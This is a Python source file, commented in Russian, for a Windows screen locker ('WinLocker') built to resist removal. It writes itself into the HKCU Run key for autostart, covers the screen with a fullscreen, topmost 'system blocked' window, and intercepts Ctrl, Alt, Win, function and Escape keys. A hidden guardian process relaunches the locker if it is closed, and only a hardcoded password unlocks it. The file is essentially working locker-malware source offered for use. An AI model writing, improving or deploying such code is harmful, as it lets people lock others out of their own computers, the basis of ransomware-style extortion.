Загрузка данных
# locker_fixed.py
# Устойчивый блокировщик экрана без прав администратора
# Работает без ошибок TclError: bad event type or keysym "Win"
import os
import sys
import ctypes
import tkinter as tk
from tkinter import messagebox
import subprocess
import winreg
import time
import atexit
PASSWORD = "qwerty"
LOCKER_NAME = "SystemLocker"
MUTEX_NAME = "Global\\SystemLockerMutex"
# === Логирование ошибок ===
def log_error(msg):
try:
with open(os.path.join(os.environ['TEMP'], 'locker_debug.log'), 'a') as f:
f.write(f"{time.ctime()}: {msg}\n")
except:
pass
# === Автозагрузка (HKCU\Run) ===
def add_to_startup():
try:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Run",
0, winreg.KEY_SET_VALUE)
script_path = os.path.abspath(sys.argv[0])
if getattr(sys, 'frozen', False):
cmd = f'"{script_path}"'
else:
cmd = f'"{sys.executable}" "{script_path}"'
winreg.SetValueEx(key, LOCKER_NAME, 0, winreg.REG_SZ, cmd)
winreg.CloseKey(key)
log_error("Добавлен в автозагрузку")
return True
except Exception as e:
log_error(f"Ошибка автозагрузки: {e}")
return False
def remove_from_startup():
try:
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
r"Software\Microsoft\Windows\CurrentVersion\Run",
0, winreg.KEY_SET_VALUE)
winreg.DeleteValue(key, LOCKER_NAME)
winreg.CloseKey(key)
log_error("Удалён из автозагрузки")
except Exception as e:
log_error(f"Ошибка удаления автозагрузки: {e}")
# === Мьютекс для единственного экземпляра ===
def create_mutex():
mutex = ctypes.windll.kernel32.CreateMutexW(None, False, MUTEX_NAME)
return mutex
def release_mutex(mutex):
if mutex:
ctypes.windll.kernel32.CloseHandle(mutex)
def mutex_exists():
mutex = ctypes.windll.kernel32.OpenMutexW(0x100000, False, MUTEX_NAME)
if mutex:
ctypes.windll.kernel32.CloseHandle(mutex)
return True
return False
# === Блокировка клавиш ===
def block_hotkeys(event):
# Запрещаем системные клавиши
if event.keysym in ('Super_L', 'Super_R', 'Alt_L', 'Alt_R', 'Control_L', 'Control_R'):
return "break"
if event.state & 0x0004 or event.state & 0x0008 or event.state & 0x0040: # Ctrl, Alt, Win
return "break"
if event.keysym in ('F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','F11','F12',
'Escape','Cancel','Menu','Print','Scroll_Lock','Pause'):
return "break"
return None
# === Основное окно блокировки ===
class WinLocker:
def __init__(self, root):
self.root = root
self.root.attributes('-fullscreen', True)
self.root.attributes('-topmost', True)
self.root.overrideredirect(True)
self.root.configure(bg='black')
# Глобальный перехват всех клавиш
self.root.bind_all('<Key>', self.global_key_handler)
self.root.focus_force()
# Интерфейс
tk.Label(root, text="СИСТЕМА ЗАБЛОКИРОВАНА", font=("Arial", 24), fg="red", bg="black").pack(pady=100)
self.pw_entry = tk.Entry(root, show="*", font=("Arial", 14), width=20, bg="gray20", fg="white", insertbackground="white")
self.pw_entry.pack(pady=20)
self.pw_entry.bind('<Return>', self.check_password)
self.pw_entry.focus()
tk.Button(root, text="Разблокировать", command=self.check_password, font=("Arial", 12), bg="gray30", fg="white").pack(pady=10)
# Запуск стража (если не запущен)
self.start_guardian()
def global_key_handler(self, event):
# Разрешаем навигационные клавиши внутри поля ввода
if self.pw_entry.focus_get() == self.pw_entry:
if event.keysym in ('BackSpace', 'Delete', 'Left', 'Right', 'Home', 'End'):
return None
# Остальное блокируем
return block_hotkeys(event)
def start_guardian(self):
if getattr(self, '_guard_started', False):
return
self._guard_started = True
# Запускаем страж-процесс с флагом --guard
if getattr(sys, 'frozen', False):
subprocess.Popen([sys.executable, '--guard'], creationflags=subprocess.CREATE_NO_WINDOW)
else:
subprocess.Popen([sys.executable, __file__, '--guard'], creationflags=subprocess.CREATE_NO_WINDOW)
log_error("Страж запущен")
def check_password(self, event=None):
if self.pw_entry.get() == PASSWORD:
log_error("Пароль верный, завершаем работу")
# Удаляем из автозагрузки
remove_from_startup()
# Запускаем explorer
subprocess.Popen("explorer.exe")
# Завершаем процесс (страж тоже умрёт, т.к. мьютекс удалим)
self.root.quit()
self.root.destroy()
sys.exit(0)
else:
self.pw_entry.delete(0, tk.END)
messagebox.showerror("Ошибка", "Неверный пароль!")
# === Функция стража (проверяет мьютекс) ===
def guardian_loop():
log_error("Страж запущен, проверка мьютекса...")
while True:
time.sleep(3)
if not mutex_exists():
log_error("Мьютекс исчез, перезапускаем основной процесс")
if getattr(sys, 'frozen', False):
subprocess.Popen([sys.executable])
else:
subprocess.Popen([sys.executable, __file__])
# Если мьютекс существует — ничего не делаем
# === Точка входа ===
if __name__ == "__main__":
if '--guard' in sys.argv:
# Запуск стража
guardian_loop()
else:
# Проверяем, не запущен ли уже основной процессqw
if mutex_exists():
log_error("Процесс уже запущен, выходим")
sys.exit(0)
mutex = create_mutex()
if not mutex or ctypes.windll.kernel32.GetLastError() == 183: # ERROR_ALREADY_EXISTS
sys.exit(0)
# Добавляем в автозагрузку
add_to_startup()
# Запускаем GUI
root = tk.Tk()
app = WinLocker(root)
# При завершении освобождаем мьютекс
atexit.register(lambda: release_mutex(mutex))
root.mainloop()
# Если mainloop завершился (например, из-за ошибки), освобождаем мьютекс
release_mutex(mutex)